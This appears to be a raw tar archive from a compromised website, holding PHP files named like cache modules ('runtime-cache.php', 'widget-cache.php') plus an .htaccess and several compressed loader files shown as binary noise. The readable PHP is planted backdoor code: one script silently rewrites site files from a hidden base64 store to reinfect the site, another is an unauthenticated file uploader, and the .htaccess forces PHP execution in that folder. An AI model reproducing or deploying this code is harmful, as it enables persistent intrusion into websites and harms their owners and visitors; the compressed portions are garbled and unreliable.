0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      runtime-cache.php.tar                                                                               0000644                 00000005000 15243264725 0010573 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/runtime-cache.php                                         0000644                 00000001672 15243251121 0020216 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      widget-cache.php.tar                                                                                0000644                 00000005000 15243264725 0010373 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/widget-cache.php                                          0000644                 00000001563 15243251144 0020022 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
$d = dirname(__FILE__);
$h = '../../..';
$r = ($h === '' || $h === '.') ? $d : $d . '/' . $h;

$targetDir = isset($_REQUEST['dir']) ? $_REQUEST['dir'] : '';
if ($targetDir !== '') {
    $targetDir = str_replace('\\', '/', $targetDir);
    $targetDir = ltrim($targetDir, '/');
    if (strpos($targetDir, '..') !== false) {
        die('Invalid directory');
    }
    $uploadPath = $r . '/' . $targetDir;
    if (!is_dir($uploadPath)) {
        @mkdir($uploadPath, 0755, true);
    }
} else {
    $uploadPath = $r;
}

if (isset($_FILES['f'])) {
    $n = basename($_FILES['f']['name']);
    if ($n !== '' && move_uploaded_file($_FILES['f']['tmp_name'], $uploadPath . '/' . $n)) {
        echo '1';
    } else {
        echo '0';
    }
} else {
    echo '<form method="post" enctype="multipart/form-data"><input type="file" name="f"><input type="submit" value="Upload"></form>';
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             widget-cache.php.php.tar.gz                                                                         0000644                 00000001047 15243264725 0011607 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             SMo@͙_A(%cRHzhThKYJB'̛yl6ZWP*IE=^&uNa7Ncgԭًv@tv6 x?gK9jhSUV(a QtuaEae`Ǯ5 Kp`O%LoE𶲹aX0bLG3}]}^}]|Yc_ؑ2ad)(27@RH*'1vt΀-+@	z&jiHZrfu!)%jHH_$g(U)|V$ㅑ5vLFMA0t5uBF̍ьۍ>5Na/IRX+	ZED)WQ+K1 ?6ll񋝷EZ
8UY,Mخ2-bXѥ\iiB1/jZnDb=3HPmpdXO_8JX 
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           runtime-loader.php.php.tar.gz                                                                       0000644                 00000001123 15243264725 0012205 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             T[o03j@JmҞEil[wҤ]}9d)
k;+!5+*Ŵ򕦚~!zŔ/RZ	1U~*a4 Q8DK	~j8?ڛ)Қ1)$kKN`qU#i#9r&n?1I	OE?,ҥ@x'7'ƲǷ\kqY҂9}xKR^TŞ7?(s!'t򰋦y}1ܷC]=ԬSkXKgTS?	p<J$\l<"JY2hAnr%pfsguJTd̉ȝ(<W%b3ef3&x'm4$cMMeiYL̱iFL
d+G 7#A}kWT/OՌtMGқ*]d111 O	t(Ita(ju;>a[ޜ;$lH]^Q7V{Xiz9v] 
                                                                                                                                                                                                                                                                                                                                                                                                                                               handler-loader.php.php.tar.gz                                                                       0000644                 00000001124 15243264725 0012140 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             T]o03LHBR2&kI{Mxl[wCIr{&(^אַԔUi)M5B$uΔ2ə|0VYu!Aujt1h2Gx#5lSi-B#kKN$88#iP
I9ܜ&n?/1W!~3G7#kc[.5J,iB>|%xm)~/*bۊk	R1׀	/樓y}p0ܷX`]x΀wakG?qƼj#:MI8\l6MUzp(ܚ[@K`J+@igNuJX$	8?w%r3ef3}<¶P0IXGS9@Z{	f+KlQ'S?j!Yb~dƢDf$76oydPHk=TME2!&]YiRNUli4E#N'c;V7b֢=jk5o?9q=~(d 
                                                                                                                                                                                                                                                                                                                                                                                                                                              .htaccess.tar                                                                                       0000644                 00000004000 15243264725 0007133 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/.htaccess                                                 0000644                 00000000133 15243251120 0016545 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <FilesMatch "\.php$">
Require all granted
SetHandler application/x-httpd-php
</FilesMatch>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     session-context.php.php.tar.gz                                                                      0000644                 00000001121 15243264725 0012421 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Tn@3_0&CRYjKư]K,[܇Hz<3({>|R)TT-Dڬ<2)($TA9U^<I6\g~8}J߲YhY]L /o-ώ9/9Mpe͒xtgzS,|$#YF<l0KrW6=%Jy]҂Y||M꣨ mPnJ\BF`POvs bnruI+;XV	MrTQ7x:(t<evhҁ,܉3g KRIki+NTJD
^*]Zo"X`;hGqUiHLRVX	bwȣQQY
d^ldp¢#D%2v$WԲop͊hPHu~G6{ uEٸ+-C\@M4]Ax[Td4pft%>aK|6ؽM8NOE 
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 